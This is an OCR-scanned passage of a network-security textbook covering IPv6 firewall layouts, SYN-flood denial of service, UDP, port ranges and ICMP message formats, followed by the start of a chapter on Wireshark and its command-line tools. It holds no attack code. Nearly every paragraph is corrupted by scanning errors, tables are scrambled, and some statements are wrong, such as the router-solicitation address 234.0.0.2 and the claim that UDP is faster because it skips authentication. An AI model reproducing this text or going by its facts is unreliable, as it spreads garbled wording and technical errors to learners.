There is change in the process of data exchange between DMNS servers and resolvers due to the increased
address length and other [Pvé enhancements.

Dymain naming is a problem with some similar-looking domain names {for example, tebcal.com and
telpal.com].

The source-address-validation-related security models are weak.

The authorization mechanism must be manually set between the IINS server and a node, consuming
misre time.
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Figure 215 The Internet-router-firewall-net architectrs order is compatible if the
firewall is ready for distinguishing IPw6.
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Figure 2-16 The Internet-firewall-router-net architecturs order canniot handle
routing protocols properhy.

Firewall + Router

Figure 217 The Intemnet-firewallirouter {edge device)-net architecture order could
be powerful for routing and security policies.
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Firewalls and Packet Fiftering

Packet filtering is a process of controlling netwaork traffic by checking incoming packets against a predefined
security policy. It uses rules based on source and destination addresses. But there is a restricted scope for some
1Pvis addresses. Basic 1T filtering is still in wide use at the border of networks.

A firewnal is an 1P packet filter that enforces filter and security policies on netwark traffic. Using firewalls in
1w is still the best approach of protection from low-level attacks at the network and transport layers.

IPvi firewall usages:

* Imternet-router-firewall-wet architectire: This order {Figure 2-15] is compatible if the firewall is ready
for distinguishing IPvé.
Internet-firewall-rowter-ret architecture: This order [Fagure 2-16) cannot handle routing protocols properly.
Imternet-firewallfrouter (edpe device)-met architecture: This order [Figure 2-17) could be powerful for
routing and security policies.
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Figure 2-18 5¥N flooding is a TCP protocol vulnerability
that emerges in a denial-of-service attad.

TCRIP Vulnerabilities
Danial-of-Sarvice Attack

Dienial-of-service (DoS) attacks prevent authorized users from accessing a computer or network. DoS attacks
target netwaork bandwidth or connectivity. Bandwidth attacks overflow the network with a high volume of traf-
fic using existing network resources, thus depriving the legitimate users of these resources. Connectivity attacks
overflow a computer with a large number of connection requests, consuming all available operating system
resvurces, s that the computer cannot process legitimate user requests.

In denial-of-service attacks, attackers explicitly atbempt to prevent legitimate users of 2 service from using it.
Attackers may try to flood a network, thereby preventing legitimate network traffic. There may also be an effore
to interrupt the connection between two machines, thus preventing or disturbing access for a particular system
or individual. Ilegal use of respurces may alse affect DoS. For example, an intruder may use an unidentified FTT
area to store illegal copies of essential software, thus using disk space and producing network traffic problems.

DoS5 5¥N Flooding Attack

5™ flooding [Figure 2-18) is a TCP protocol vulnerability that emerges in a denial-of-service artack. This
attack occurs when an intruder sends a large number of 5YM packets (requests) to the host system in a small
amount of time. The process of receiving so many packets in such a small amount of time is more than the
system can handle.

A typical TCP three-way handshake goes as follows:

* Host A sends the ¥ M request to Host B.
* Host B receives the SYN request and replies to the request with a 5YMN-ACK to Host A
* Thus, Host A responds with the ACK packet, establishing the connection.

When Host B receives the 5T request from Host A, it makes use of the partially open connections that are
available on the listed line for a few seconds—Ffor example, at least 75 seconds.

In a 5YN flond, the intruder transmits a huge number of such 5¥M requests, usually with a forged source
address. This attack works by filling the table reserved for half-open TCP connections in the operating system's
TCMIP stack. When the table becomes full, new connections cannot be opened until some entries are removed
from the table [due to handshake timeout). This attack is typically carried out using fake IF addresses, so it i dif-
ficult to trace the source. The table of connections can be filled without spoofing the source of the 1T address.

Other Protocols

User Datagram Protocol

UNP (User Datagram Protacol) is a protecol of the TCWIP protocol growp that is used instead of TCP when
there is no requirement for reliable delivery. It was designed in 1980, Processing of UDF packets is less than
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Figure 2-19  This shows the UDP segment format.

what is required for TCP. UDF is aoften used for multimedia applications, such as audio, video, and voice over
I [WolP), because it requires more time to introduce errors or to drop packets.

If an application using UDT reguires reliable delivery, the application itself must implement packet sequence
examination and error notification. UDP is a connectionless best-effort delivery protocol and does not employ
a handshake to begin a session. It only transfers packets.

The applications of UDP are:

* With UDP, applications an networked computers can broadeast short messages called datagrams. UDF
dises not ensure data integrity and consistency. However, UDP is guicker and more competent for several
lightweight or time-sensitive reasons.

= Some general network programs that work with UDF are the Domain Mame System (DINS), streaming
media applications, VoIP, and online games.

= UL was designed for use by application protocols that are independent; acknowledgment features at
the transport layer are simple.

The disadvantages of UDP are:

® It does not support acknowledgment for received data or retransmission of lost messages.

= It does not offer flow contrel or congestion management.
The steps for transmission with UDP are the following:
1. Higher-layer data transfer: Application sends the message to the UDP software.
1. UDPF message encapsulation:
* The mesmages from the higher layer are encapsulated into the data field of the UDP message.

® The headers of the UDP fields are inserted, and the source-port field is also filled, which contains the
application from which the data is being sent.
® The destination port of the intended recipient is fillsd. The checksum value is also calculated.
3. Tramsfers the message to IP: The UDF message is passed to 11 for transmission.
The source-port field is an optional field used only if information needs to return to the sending host. When
a destination router receives a routing update, the source router is not requesting anything, so nothing needs to
return to the source. This is in regard to only RIF updates. IGRP is sent directly over IP. EIGRP and O5PF are
alsa sent directly over IP with their own way of handling reliability.
The UDP segment format can be seen in Figure 2-19,
* Sgurce port is an optional field that indicates the sending process port. It is the port where the reply is
addressed. If it is not in use, a 0 is inserted.
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Figure -3 The source part and the destination port are in the TCP
and UDP headers, which identify the sending and receiving processes.

* Destination port defines the Internet destination address.
* Length is the length of the octets, which includes the header and the data.

* Checksum is the 16-bit one's complement of the one's complement sum of a pseudoheader of informa-
tion from the [P header, the UDP header, and the data, padded with zero octets at the end |if necessary|

to make a multiple of two octets.

TCP and UDP Port Nuinbers

TCP and UDP are transport protocols that provide the interface between 1P and upper-layer processes. The
port numbers for TCP and UDP are designed to identify the applications running on a single device, as shown
in Figure 2-20. Because there are many network applications running on a particular system, there has to be
something b distinguish these applications. It is necessary to make sure thar the correct software application an
the destination host gets the intended packet from the source. All these processes are completed with the help
of the TCF and UDFP port numbers. The source port and the destination port are in the TCP and UDP headers,
which identify the sending and receiving processes. The combination of the IP addresses and the part number
is eollectively called the socker.
The Internet Assigned Mumbers Authority (IANA) has categorized ports into three groups:

1. Well-kmoum ports: The well-known pores range from 0w 1,023,
2. Registered ports: The registered ports are from 1,024 o 49,151,
1.

[rymamic or private ports {also called ephemeral poris): The private or dynamic ports are from 49,152

o G5, 535
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Figure 2-21 Originating-source port numbers, wssally 2 value larger than 1,023,
are dynamically asmigned by the sownce host.

Conversations that do not involve an application with a well-known port number are, instead, assigned
randomly selected port numbers from a specific range. These port numbers are used as source and destination
addresses in the TCP segment. Some ports are reserved in both TCP and UDP, although applications might not
he written to support them. Port numbers have the following assigned ranges:

* MNumbers below 255 are reserved for public applications.
* Wumbers from 255 to 1,023 are assigned to companies for madketable applications.
& Numbers above 1,023 are unr:gu]nt:ﬂ.

End systems use port numbers to select the proper application. Originating-source port numbers, usaally a
value larger than 1,023, are dynamically assigned by the source host, as shown in Figure 2-21.

The well-known ports are assigned by IAMA and on most systems can only be used by system [or root) pro-
cesses or by programs executed by privileged users. The registered ports are listed by IAMA and on most systems
can be used by ordinary user processes or programs executed by ordinary users. IANA registers uses of these
ports as a convenience to the community.

Internet Control Message Protocol (ICMP)

1CMP is an unreliable method for the delivery of data over the network because it does not notify the sender
about failures in the transmission of ICMP packets. ICMP does, however, report errors in datagram process-
ing. ICMP is an imtegral part of IF and is implemented by every IF module. ICMP messages occur in many
situations, whenever a datagram cannot reach the destination or the gateway does not have the buffering
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Fgure 2-22 ‘Whenever an error oocurs in the defivery of the datagram,
ICMP is used to send & repart to the source about this errar.

capacity to forward a datagram. The main aim of the control messages is to give feedback about problems in
the communication environment.
Some of the functions of ICMP are to:

* Announce network errors

* Announce network congestion
* Assist in troubleshooting

* Announce timeouts

This protocol is wsed to check that routers are routing the packets to the correct destinations. Ome of the
better-known uses of ICMP i with the ping command, which is used to check network connectivity.

Error Reporting and Error Correction

ICMP is an error-reporting protocel. Whenever an error occors in the delivery of a datagram, ICMP is used o
send a report to the sowrce about this error, as shown in Figure 2-22.

A good example of an ICMP message is the source-quench message. [t is sent when the router receives more
data than it is able to handle. When the buffer of the router is filled, the router will send a source-quench mes-
sage to the source host, notifying the source to reduce the data rate. These messages do not have any information
about the packet loss. They simply notify the sender that a particular situation has occurred. There are many
messages in ICMP, and these are identified by the type field.

In Figoure 1-22-

* Workstation 1 is sending a datagram to Workstation 6.

* Falil on Router C goes down.

* Router C then utilizes ICMP to send a message back to Workstation 1, indicating that the datagram
could not be delivered.
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Figure 2-23  ICMP messages are encapsulsted in the [P datagram.

= ICMP does mot correct the encountered network problem.
* Router © knows only the source and destination IP addresses of the daragram.
= [CMP reports on the status of the delivered packet only to the source device.

ICMP Message Delivery

ICMP messages are encapsulated in the 1P datagram in the same way as other data, as shown in Figure 2-23.
ICMP can cause its own Failores in message delivery. A situation could arise in which the error reports generate
mare error reports themselves, in turn causing network congestion. For this reason, ICMP messages cannot
create their own ICMP messages. The ICMP header is attached to the data field and then inserted into the 1P
header for further transmission.

ICMF messages inclode:

* Time-exceeded mesage

* Echo message

* Routing-related message

ICMP is used by:

® User applications to diagnose network problems

= Hosts to generate packets for reporting problems to other hosts in the network
Format of an ICMP Message
Each ICMP message contains three fields:

. TYFE: The TYPE field identifies the 1CMT message.

1. CODE: The CODE field provides further information about the associated TYPE field.
3. CHECKSUM: The CHECKSUM provides a method for determining the imtegrity of the message.

Table 2-2 shows the different types of ICMP messages.
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Table 2-3  if tha destination Is not reachabla, type-3 ICMP codes
ara genaratad. Type-3 KCMIP code values ranga from 0 to 15

If the destination is not reachable, type-3 ICMP codes are generated. Type-3 ICMP code values range from
0t 15 and are listed in Table 2-3.

Types of ICMP Messages
Error Messages
Unreachable Networks Communication in the netwark depends on conditions such as:
® The TCPIP stack must be properly configured.
® The configuration of the 1P address and the subnet mask must be correct.
® There must be a defauh gateway for outbound packets.
= Routers should have an appropriate routing protocol such as TCHIP propedy configured.

Unreachable-destination problems arise when these conditions are not met, as shown in Figure 2-24. This
tvpe of error is generated when there is no default route configured.

A 5YM packet is sent to the specified address and is said to be the new connection. If the host it is trying
to reach is unreachable, then the router returns an ICMP error message. The tracking code for the connection
identifies the packet as the related packet. The ICMP reply i sent to the client correctly, and then the aborting
of the connection takes place.

Examples of the “unreachable networks™ problem are:

® Sender device may address the datagram to a nonexistent IF add ress.

= Destination device may be disconnected from its network.

= HRouter's connecting interface is down.

= HRouter does nat have the information necessary to find the destination nerwork.
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Fgure 2-24  Unreachable-destination problems ariss when specific
onditions are not met.

Destination-Unreachable Message An ICMP destination-unreachable message is given by the router as a
result of a packet that cannot be forwarded because the destination host or the service is unavailable.
Consider the following scenario:

* The sender host sends a message directed to the destination host.

* The destination host is not alive or is not responding to the ARP request.

* The router is not able to process the request by the sender host.

* The router sends an ICMP destination-unreachable message to the sender host because there is no valid

route available in the router.

The router should have the capacity to generate the ICMT destination-unreachable message and a response
pinde, which should macch the reason.

A destination-unreachable message may also be sent when packet fragmentation is required in order to for-
ward a packet. Fragmentation is usually necessary when a datagram is forwarded from a Token Ring network
to an Ethernet network. [f the datagram dioes not allow fragmentation, the packet cannot be forwarded, so a

destination-unreachable message will be sent. Destination-unreachable messages may also be generated if 1P-
related services such as FTP or Web services are unavailable.
ICMP Echo (Request) and Echo Reply ICMP echa request and echo reply are used to check if the desti-
natien is reachable and replying. They are mostly used to check connectivity, particularly in commands such
as ping.

The address of the source in an echo message is the destination of the echo-reply message. To form an echo-
reply message, the source and destination addresses are simply reversed. The type code is changed to 0 and the

checksum is recomputed.
* Type:
= B for echo message
= 0 for echo-reply mesage
* Code: D

* Checksum: The checksum is the 16-bit complement of the complement sum of the ICMP message, start-
ing weith the ICMP type. To compute the checksum, the checksum field must be 0. If the tatal length of
the checksum field is odd, the data received s padded with one octet of zeros to compute the checksum.
This checksum can be replaced.

Identifier: If the code is 0, the identifier is aided in matching echoes and replies, and may be zera.

* Seguence numther: If the code is 0, a sequence number to aid in matching echoes and replies may be zero.

-



Other Pratocok 227

a 1 a 3
AR P S S S T i i IR A W e B e il R | M Tk s D e R - R |
B e L e e T
| Lrpe | Lade 1 Lheoksum |
B e kL EE T e

| wouEed |

| TATrTRsT Beader | &1 Pima of driginal Dans Tarsgream |

LR BT LRET LR BRE LA LR IR L BREE LA LN BRRE e LR B LR LAY RRE LAE LR BEET LA LAE I LA BRRE R L B LT L
Capyzigh © by BG-Camanci]
All righrs rsarvedl Hepradsaian ixseictly probibsed

Figure 2-25  |f the gateway that is processing a datagram finds the time-to-live field zero, it
discards the datagram. It may also notify the source host via the time-exceeded message.

Time-Exceeded Message
11 Fields:

* Destination address
® The source network and address from the original datagram’s data
LCMF fields:

* Tupe: 11
» Code:
= = Time to live exceeded in transit
® | = Fragment reassembly time exceeded

® Checksian: The checksum is the 16-bit complement of the complement sum of the ICMP message, start-
ing with the ICMFP type.

* Dmtermet header + 64 bits of original defagram data: The host uses these data to match the message to
the appropriate process. The higher-level protoecol number is in the 64 bits of the original datagram data.

If the gateway that is processing a datagram finds the time-to-live field zero, it discards the datagram. The
gateway may also notify the source host via the time-exceeded message, as shown in Figure 2-25.

If a host reassembling a fragmented datagram cannat complete the reassembly due to missing fragments
within its time limit, it discards the datagram, and it may send a time-exceeded message. If fragment 0 is ot
available, then no time-exceeded message needs to be sent at all.

Code 0 may be received from a gateway. Code | may be received from a host.

A TTL value is defined in each datagram (IP packet). As each router processes the datagram, it decreases the
TTL value by 1. When the TTL of the datagram reaches 0, the packet is discarded. ICMP uses @ time-exceeded
message to notify the source device that the TTL of the datagram has been excesded.

IP Parameter Problem The devices that process datagrams may not be able to forward a datagram due to
some type of error in the header. This error does not relate to the state of the destination host or network bur
still prevents the datagram from being processed and delivered. An FCMP type-12 parameter-problem mesage
is sent to the source of the datagram. The causes for this type of error message are corrupt header information
or missing options. This problem is depicted in Figure 2-26.

IP Fields:

® Destination address

® The source network and address from the original datagram data
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Figure 2-26 The devices that process datagrams may nat be able to forward &
datagram due to some type of error in the header.

ICMP fields:
* Type: 12
* Code:
= 0 = Pointer indicates the errar

* Checksum: The checksum is the 16-hit complement of the complement sum of the ICMP message, start-
ing weith the ICMP type.

* Pripter: If code is 0, thiz identifies the octet where an sreor was detocred.
ICMP Control Messages

Unlike error messages, control messages are not the result of lost packets or error conditions that occur during
packet transmission. Instead, they are used to inform hosts of conditions such as:
* Metwork congestion

* Existence of a better gateway to a remote netwoark

ICMP Redirects The ICMP redirect is the router’s way to communicate a better path out of the network. Wich
this method, the host can learn by which router a particular metwork is reachable. A good practice is to ignore
the ICMP redirect messages from the public network. Creating static routes wherever necessary prevents the
ICMP redirect messages generated on the network.

The interface on which the packet comes into the router i the same interface on which the packet gets routed
out. The subnetinetwork of the source IP address is the same subnetinetwork of the next-hop IF address of the
routed packet. The datagram is not spurce routed. The route for the redirect is not another ICMP redirect or a
default roate. The router is configured to send redirects.

1P fields:

* Destination address
* The source network and address of the original datagram data
TCMP fields:
* Type: §
* Code:
® 0 = Redirect datagrams for the nerwork
= | = Redirect datagrams for the host
= 1 = Redirect datagrams for the type of service and network
= 3 = Redirect datagrams for the type of service and host
* Checksum

* Gateway Imternet address: Address of the gateway to which traffic for the network specified in the In-
ternet destination network field of the original datagram should be sent.
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Figure 2-27 Hosts on dif ferent networks that are trying to communicate using software
that requires time synchronization can sometimes encounter problems. The ICMP
time-stamp message type is designed to help alleviate this problem.

Clock Synchronization and Transit Time Estimation
1P fields:

* Addresses: The address of the source in a time-stamp message will be the destination of the time-stamp
reply message. To form a time-stamp reply message, the source and destination addresses are simply re-
wersed, the type code changed to 14, and the checksum recomputed.

CMP frelds:

" Tygre:
= 13 for time-stamp message
= 14 for time-stamp reply message
* Code: 0
* Checksim
= Identifier: 1f code is 0, an identifier aids in matching time stamps and replies, and may be zero.
* Sequemce monber: If code is 0, 2 sequence number aids in matching time stamps and replies, and may be zero.
The data received |a time stamp) in the message is returned in the reply, together with an additional
time stamp. The 32-bit time stamp represents the milliseconds since midnight UT.
The TCWIP protocal swite alkows systems to comnect to one anather over vast distances throogh multiple netwarles.

Each af these individual networks provides clock synchronization in its cwn way. As a result, hosts on different net-
works that are trying to communicate using software that requires time synchronization can semetimes encounter
problems. The ICMP time-stamp message type is designed to help alleviate this problem, as shown in Figure 2-27.

The ICMP time-stamp message allows a hast to ask for the current time according to the remote host. The
remote host uses an [CMP time-stamp reply message to respond to the request. All FCMP time-stamp reply
messages contain originate, receive, and transmit timestamps:

® The originate time stamp is the time the sender last touched the message before sending it.
* The receive time stamp is the time the echoer first rowched the message on receipt.
® The transmit time stamp is the time the echoer last touched the message on sending it.

Using these three time stamps, the host can estimate transit time across the network by subtracting the
originate time from the transit time. It is, however, only an estimate; true transit time can vary widely based on
traffic and congestion on the network. The host that originated the time-stamp request can also estimate the
local time on the remote computer.
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While ICMP time-stamp messages pravide a simple way to estimate time on a remote host and total network
transit time, this is not the best way to obtain this information. Instead, more robust protocels, such as Metwork
Time Protocol (MTF) at the upper layers of the TCFIP protocal stack, perform clock synchronization in a more
relinble manner.

Information Reguest and Reply Massage Format

This ICMP type is created for booting hosts to discover IP addresses. This method is no longer used. The methods
that are used mosthy are BOOTP (bootstrap protocal) and DHCP (Dynamic Host Configuration Frotocol).
1P fields:

* The address of the source in the information-request message will be the destination of the information-
reply message. To form an information-reply message, the source and destination addresses are simply
reversed, the type code is changed to 16, and the checksum is recomputed.

ICMP fields:

* Tyhe:
® 15 for information-request message
= 16 for information-reply message

* Code: D

* Checksum: The checksum is the 16-hit complement of the complement sum of the ICMP message, start-
ing weith the ICMP type.
* ldentifier: If the code is 0, an identifier aids in matching requests and replies, and may be zera.

* Sequence mumrber: 1f the code is 0, a sequence number aids in matching requests and replies, and may be zem.
Address Masks

A booting computer uses the address-mask request [ICMP type 17) to determine the subnet mask on the local
network. The address-mask request is an ICMP query message that is used by the host to send a message to
the roater, in order to obtain the appropriate subnet mask. This new subnet mask is crucial in identifying the
network, subnet, and host bits in an 1P address. If the address of the router is known, this request may be sent
directly to the router; otherwise, the request will be broadcast. When the router receives the request, it will
respond with an address-mask reply.

The header format for the ICMP types 17 and 18 are as follows:

1P fields:

* Addresses: The address of the source in an address-mask request message will be the destination of
the address-mask repl} IMEssage. The address-mask r:p|]r message is created, and the source address of
the request is set to be the destination address of the reply. The type code is then changed to 18, The
address-mask value is inserted, and the checksum is recalculated. 1f the source address in the request
message is zero, then the destination address for the reply denotes that message is to be broadcasted.

ICMP Fields:
* Tiype:
* 17 for address-mask request message
® 18 for address-mask reply message
* Code:
* 0 = address-mask request message
= | = address-mask reply message
* Checksum: The checksum is the 16-hit complement of the complement sum of the ICMP message, start-

ing with the ICMP type. For computing the checksum, the checksum field should be 0. This checksum
may be replaced in the future.

* Identifier: An identifier aids in matching requests and replies, and may be zero,

* Seqguence number: A sequence number aids in matching requests and replies, and may be zero.
* Address prask: A 32-hit mask.
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Routar Solicitation and Advertisement

When a host on the network boats itself, the gateway is checked first. If the gateway is not configured manu-
ally or a default gateway is not set, the host can learn the availability of routers aubomatically by the process of
roater discovery. The process begins when the host sends a router solicitation message to all routers, using the
multicast address 234.0.0.2 as the destination address_ If a router that supports the discovery process receives
the router discovery message, then it replies with the router advertisement.

Chapter Summary

® TCP uses a three-way handshake to ensure that the sender and receiver are authentic.

® Windowing is the quantity of data segments that can be transmitted without receiving
an zl:knmhdgrnen.t.

® Sequence numbers are used in TCF to ensure that packets arrive with the same sequence of bytes that
they were sent in_

u A firewall is an IP packet filter that enforces filter and security policies on network traffic.

5 A denial-of-service attack can target network bandwidth.

B UDP is faster than TCP becawse it doss not require authentication; however, it is also less reliable.
® ICMP is used to give feedback about problems in the communication environment.

Review Questions
. Mame three differences between the TCHIP model and the 051 model.

o

2. What are the three transition mechanisms for deploying IPvé on [Pv4 networks?

[

. What is packet filtering?

4. Explain a 57 M flooding attack.
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5. What are the steps in a three-way handshake?

6. Drescribe three fields in a TCP header.

7. Mame an ICMP error message and explain its function.

8. What is an address mask used for?

9. What are the differences between TCP and UDFP?

10, What is a sliding window?




Hands-On Prajects

Hands-On Projects

1. Perform the following steps:
Mavigate to Chapter 2 of the Student Resource Center.
Read the document titled * TCP-1Ppdf.”

2. Perform the following steps:

Mavigate to Chapter 2 of the Student Resource Center.
Read the document titled *Introduction_to_TCP-IP-01-abazh.pdf.”

3. Perform the following steps:

Mavigate to Chapter 2 of the Student Resource Center.
Read the document titled “ICMP Message.pdf.™
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Chapter

Advanced Sniffing Techniques

Objectives
After completing this chapter, you should be able to:

* Understand and use Wireshark
= Understand how to use Wireshark’s filters:
= Tshark
Topdump
Capinfos
idiz2wers
Editcap
Mergecap
* Textipcap
= Use Wireshark for network troubleshooting
= |dentify and employ a network troubleshooting methedology
= Understand wireless scanning technigues

Key Terms

Address Resolution Protocol (ARF)  a protocal method for finding the corresponding media
access control (MAC) address or physical address when anly the I address is known

ARP cacha potsoning (also called traffic rediraction)  a technigue in which a false ARP reply is
sent to the original ARF request by an attacker; this false information is then stored in the cache
memory of the authorized user, redirecting traffic to the attackers machine

Channal hopping 2 technique involving rapidly switching between different channels, allowing
Wireshark to capture any traffic that is present on the current channel

Homeypot a server that contains fake data and services to monitor the activity of intruders

11
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Intarnat Ralay Chat (IRC)  a form of real-time communication or synchronous conferencing

Jamming the process of scanning and blocking static channels used for communication; jamming requires
knowledge of the chanmel-hopping sequence for transmission on a single channel at a time

Packat boss  the error condition in which data packets are transmitted correctly but never reach the
destination; it occurs due to poor network conditions or Internet congestion

Port mirroring  the process of sending a copy of data packets transmitted or received from one port of the
netwark switch to another

Promisc i wous moda  twa network interface settings for network traffic; in promiscuous
made, all n:twnrk tratfic is allowed through. In nonpromiscuous mode, only packets with the MAC address
that matches the computer are allowed to pass; all athers are dropped.

Protocol dissector  a tool that allows Wireshark to break down protocaols into small sections to analyze them
Retransmisston  the process of resending lost data packets

Sniffer a network protocol analyzer that can intercept and log traffic passing over any pant of a digital network
S5ID [service set Identifier} the name of a wireless network all devices on the wireless network must use the
same 5510 to communicate with one another

Topdump  a comman sniffer application that runs via the command line and allows the user to intercept and
display packets being transmitted or received aver a network

Trojans malicious programs that are often disguised as other programs such as jokes, games, netwoark
utilities, and sometimes even the Trojan removal program itself

‘Wired tapping the process of tapping wired networks using sniffers to capture data packets

Wireshark a2 network analysis program that allows an administrator to capture packets and analyze

certain data

Introduction to Advanced Sniffing Techniques

Metwork sniffing is important in learning about a network™s performance and understanding where packets are
b:ing routed. Df\'\fll:!pt‘:l'l need access to view the pmtncnh th.e']r ﬂrw]np and bow the software t]'le]r create runs
on existing protocels. Metwork administrators can use network sniffers to troubleshoot network and security
problems. A smiffer is a network protocol analyzer that can intercept and bog traffic passing over any part of a
digital network. There are a variety of network analyzers available to analysts and developers, but they can be
very expensive. Wireshark is a free network analyzer that anyone in the United States can use.

Wireshark is distributed under a General Public License { GPL). That means it is free to anyone in the United
States to download, use, and modify. However, it may not be exported. It captures data from a network using
TCP and displays the session in a readable format, such as in ASCIL in EBCDIC, as a hex dump, or in C arrays.
Wireshark can alsw translate capture files and Tepdump files. Tepdumngp is a common sniffer application that
runs via the command line and allows the user to intercept and display packets being transmitted or received
over a network.

The network flexibility of Wireshark allows it to do the Following:

* It works in both promiscmous and smowpromiscuons modes. These are two network interface settings
for netwark traffic. In promiscuous mode, all network traffic is allowed through. In nonpromiscuous
mode, only packets with the MAC address that matches the computer are allowed to pass; all others
are dropped

* [t runs on more than 20 platforms, including UNIX, Windows, and Macintosh operating systems.

* [t can read capture files from more than 25 different products and can save capture files in a variety of for-
mats e.g., libpcap, Metwork Associates Sniffer, Microsoft Metwork Monitor [MetMon], and Sun snoop).

* [t can capture data from a variety of network designs, including Ethernet, token ring, 80211 wireless,
and others, and supports more than 750 protocols.

* Wireshark can automatically determine the type of file it is reading and can uncompress GMNU Zip
[gzip) files.

* [t can import and export filter packet searches.
Figure 3-1 shows the Wireshark GUI screen.
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Figure 3-1 This is the main GUI streen for Wireshark.

Wiresharlk: Filters

Filtering helps to find a desired packet without sifting through all of them. Wireshark can use both capture and
display filters. The capture filter syntax follows the same symtax that Topdump uses from the libpeap library.
It is used on the command line or in the Capture Filter dialeg box to capture certain types of traffic. Display
filters are powerful tools to sore traffic that is already captured. As the number of protocals grows, the number
af protoce] fields for display Filters also grows.

IP Display Filters

Ornce a user has implemented a display filter, all of the packets that meet this requirement are displayed in the
packet listing in the Summary pane. The filters can be used to compare fields within a protocol against a value,
such as ip.src == 192.168.1.1, or to compare fields to fields, such as ip.src == ip.dst, or just to check the exis-

tence of specified fields or protocols. Filters are also used by statistical features and to colorize the packets.
Table 3-1 shows supported 1P display filters.




Table 3-1 You can compars and sort the data collected by fislds when you use a filter ;oo

Wireshark Tool: TShark

Tshark is the command-line version of Wireshark, which can be used to capture live packets or to read saved
capture files. By default, TShark prints summary line information from packets to the screen.
Some features of TShark include the following:

Tshark’s capeure file format is libpcap format.
Tshark is similar to Wireshark in detecting, reading, and writing capture files.

The input file does not need a specific filename extension; the file format and optional gzip compression
will be automatically detected.

It will use the peap library to capture traffic from the first available network interface and displays a
summary line om stdout for each received packet.

This is the same information contained in the top pane of the Wireshark GUI:
TCF 1320 > telnet [SY¥YHW] 1.199008 192.158.1040.132 -»
152.15B.100.122 TCF 1320 > telnex [S¥H]

Seg=1102938567 Ack=0 Win=l&3E4 Len=0
1.195246 122.168.100.132 -» 132.15B8.1040.132

Eeg=1102938567 Ack=0 Win=15384 Len=0
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1.202244 152.168.100.122 -» 192.16B.1040.132 TCP belmek = 1320
[EYH RCE] Emg=3I75138168 Ack=1102938568 Win=49640 Len=[
1.202268 192.168.100.132 -= 193.168.100.12F TCP 1320 > t=lnst
[ACE]
Seg=110333B3&8 Ack=3Z7513815%9 Win=17520 Len=0

Table 3-2 shows the command-line switches for Tshark.

«crnptura ring buffar aptiorm. Miakos Tshark run In “muitiple files® moda
___
«cropiura pocket counts Sats the maximum numibar of pockets to read

Prirrts o list of the interfaoes

-F acfika formats gty the file format of the output capture file

-l «ccoptura interfaces Sats the noma of the netwaork interface or pips

-L Lists tho dota Bnk types supparted by the Intarizce and
‘it

-H «nama-rasohing flagos Turrs on name resolution only for partioular types of
nddressas and port numbars

H:ﬂmfu-t:iﬁnpdntthnﬂnrrppiﬂih

Primts tha version and axts.

Wirites raw packet dota to outfile

-y «ccoptura link typeos Sats the dota bnk type to usa while copturing pacdeats.

Table 3-2 Tshark offars a varlaty of command-lne switchas that allow the user to control tha program
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Wireshark Tool: Topdump

Tepdump is similar to TShark and Mergecap. It is 2 command-line network debugging tool. Tepdump is used for
collecting the information contained in network traffic and dumping it into a file. A user can set certain Boolean
expressions, and Tepdump will collect omly the information specified on data packets in the network.

Tepdump acts as a substitute for Wireshark for capturing remote packets. To ensure the capturing of a com-
plete packet, the following command line should be used:

tepdump -i «interface= -5 1500 -w =some-files

Use Crrl+C to terminate the packet caprure,
The general format of a TCP line is as follows:

src » dst: flags data-segno ack window urgent options
The following are some other purposes for using Tepdump:
* Faor printing packets that are transmitted or received from sundown: tepdump host sundown
* Faor printing the entire traffic between the localhosts and hosts ar Berkeley: tcpdump net uch-ether

* Faor printing [P packets that are longer than 576 bytes sent through gateway snup: tcpdump ‘gateway
ETT and ip|2:2] = 574

* Faor printing ICMP packets that are not echo requests ar echo replies: topdump “icmplicmptype] =
icmp-echo and iceplicmptype] |= icpechoreply’
Wireshark Tool: Capinfos

Capinfos is a utility for Wireshark used for printing information about binary capture files. It is the tool that reads
captured files and returns few or all the statistics for every ccapfiles. The following is the syntax for Capinfos:

capinfos [-t] [-c] [-s] [-d] -] [-a] [-e] [-¥] [-] [2] [-h] <capfiles
The following explain the switches for Capinfos:

* -t: Displays the capture type of ccapfiles

* - Counts the number of packets

* -5 Displays the size of the file

* -d: Displays the total length of all packets in the file fin bytes)
* -u: Displays the capture duration {in seconds)

* -a: Displays the capture start time

* - Displays the capture end time

* -y: Displays the average data rate in bytes)

* -i: Diisplays the average data rate (in bits)]

* -z: Displays the average packet size (in bytes)

* -h: Produces the help listing

If no data flags are given, the default is to display all statistics. A few file formats that can be read by Capinfos
are as [Dlh'ﬂ't

* |libpcap/WinPcap and Tepdump

= Movell LAMalyzer captures

* Microsoft Metwork Monitor captures

* pppdump format

* Metwork Associates Windows-based Sniffer captures
* Metwork Instruments Observer wersion 9 captures

Capinfos can read any type of file format with which it is compatible. It will determine the file type of the
format, so it is not necessary for the user o specify.
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Wireshark Tool: idl2wrs

id|Zwrs is a command-line tool that is used for creating dissectors for COREA DL files in which these IDL files
are user specified. It parses the data structure and generates “get COR xxx” calls for decoding CORBA traffic.
Python, omniidl, and Wireshark are required for idl 2wrs to function.

The procedure for converting a CORBA IDL file to a Wireshark dissector is as follows:

Write the C code to stdout:
idl2wrs <yoar fileidl= e.g: idl2wrs echouidl

. Write tos a file and then redirect the output:

idl2wrs echouidl = packet-test-idl.c

. Either use a shell script wrapper or go to step 4 or step 5.

4. Write C code to stdout:

omniidl -p ./ -b wireshark_be <your fileidl= e g.: omniidl -p ¢ -b wireshark _be echo.dl

. Write tos a file and redirect the ootput:

omniidl -p . -b wireshark_be echo.idl = packet-test-idl.c

6. Mext, the resultant © code should be copied to the Wireshark source directory.
7. Edit two files to include the packet-test-idl.c:

9

cp packet-test-idl.c <directory where Wireshark lives= edit Makefile.am edit Makefile.nmalke

. Configure the Makefile:

Jeonfigure {or Jautogen.sh)
Compile the code.

Wireshark Utility: Dumpcap

Dumpcap is a command-line tool that is used for capturing data from the live network and copying those
packets to a file

Capturing Infermation

Capture Interface

-i «winterface=: Mame or index of interface (default: first non-loophack)
-f wcapture filters: Packet filter in libpcap filter syntax

-5 wsnaplens: Packet snapshot length |default: 65535)

-p: Don't capture in promiscuous mode

-B <huffer sizemw: Size of kernel buffer (defaule: 1 MEB)

-y «link type=: Link layer type (default: first appropriate)

-I¥: Print list of interfaces and exit

-L: Print list of link layer types of interface and exit

Stop Conditions

-c wpacket counts: Stop after specified number of packets (default: infinite)

-a cautostop cond.» - . . duration:NUM: Stop after N UM seconds

filesize: MUM: Stop this file after NUM KB

files=M UM Stop after MLIM Files

-w «filenamez: Name of file to save (default: tempfile)

-b cringhuffer opt.= . . _ duration:MUM: Switch to next file after NUM seconds
